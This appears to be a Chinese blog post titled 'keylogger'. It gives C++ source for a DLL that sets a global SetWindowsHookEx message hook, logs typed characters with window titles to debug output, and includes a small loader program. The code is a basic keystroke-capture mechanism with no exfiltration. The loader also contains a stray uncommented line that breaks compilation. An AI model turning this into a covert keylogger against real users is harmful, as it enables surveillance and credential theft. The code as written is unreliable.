键盘记录器

dll 部分:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include <windows.h>
#include <iostream>


HHOOK g_hHook = nullptr;
HINSTANCE g_hInstance=nullptr;

LRESULT CALLBACK MsgHookProc(
    _In_ int    code,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    if (HC_ACTION == code)
    {
        PMSG  pMsg = (PMSG)lParam;
        if (WM_CHAR == pMsg->message)
        {
            // make sure key down
            // which key key down
            char szKey = (char)pMsg->wParam;
            char szWindowName[MAXBYTE] = { 0 };
            char szDebug[MAXBYTE] = { 0 };
            GetWindowTextA(pMsg->hwnd, szWindowName, MAXBYTE);
            sprintf_s(szDebug, MAXBYTE, "window Name: %s received a message :%c \n", szWindowName, szKey);
            OutputDebugStringA(szDebug);    
        }
    }
    // returen call
    return CallNextHookEx(g_hHook, code, wParam, lParam);
}
extern "C"
_declspec(dllexport) BOOL StartHook()
{
    bool bRet = false;
    do
    {
        g_hHook = SetWindowsHookEx(WH_GETMESSAGE, MsgHookProc, g_hInstance, NULL);
        // tools->Error Finding
        if (nullptr == g_hHook)
        {
            DWORD dwError = GetLastError();
            SetLastError(dwError);
            break;
        }
        bRet = true;
    } while (false);
        
    return bRet;
}

bool UnHook()
{
    if (g_hHook)
    {
        return    UnhookWindowsHookEx(g_hHook);
    }    
    return false;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:// when dll loaded by process
        g_hInstance = hModule;
        break;
    case DLL_THREAD_ATTACH:// when dll loaded by thread
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        UnHook();
        break;
    }
    return TRUE;
}

 

调用部分:

// SetWindowsHookExDemo.cpp: 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "Windows.h"
#include <iostream>

using namespace std;
LRESULT CALLBACK MsgHookProc(
    _In_ int    code,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
);

HHOOK g_hHook = nullptr;
typedef BOOL(*Func)();
int main(int argc,char* argv[])
{
    // you must implement this function in dll
    // because dll is global shared

    //g_hHook =  SetWindowsHookEx(WH_GETMESSAGE,MsgHookProc,nullptr,NULL);
     tools->Error Finding
    //if (nullptr == g_hHook)
    //    DWORD dwError = GetLastError();
    DWORD dwError = NOERROR;
    HINSTANCE hDll = nullptr;
    bool bRet = false;
    do
    {
        hDll = LoadLibraryW(L"SetWindowsHookExDll.dll");
        if (!hDll)
        {
            dwError  = GetLastError();
            break;
        }        
        Func fun = (Func)GetProcAddress(hDll, "StartHook");
        if (!fun)
        {
            dwError = GetLastError();
            break;
        }
        if (!fun())
            break;
        while (true)
        {
            char szInput[MAXBYTE] = { 0 };
            cin >> szInput;
            if (0 == strcmp(szInput, "yes"))
            {
                break;
            }
        }
        bRet = true;
    } while (false);
    
    if (false==bRet)
    {
        cout << "Error: " <<dwError<< endl;
    }

    if (hDll)
    {
        FreeLibrary(hDll);
    }
    
    system("pause");
    /*UnhookWindowsHookEx(g_hHook);*/
    return 0;
}


 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小蚂蚁_CrkRes

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值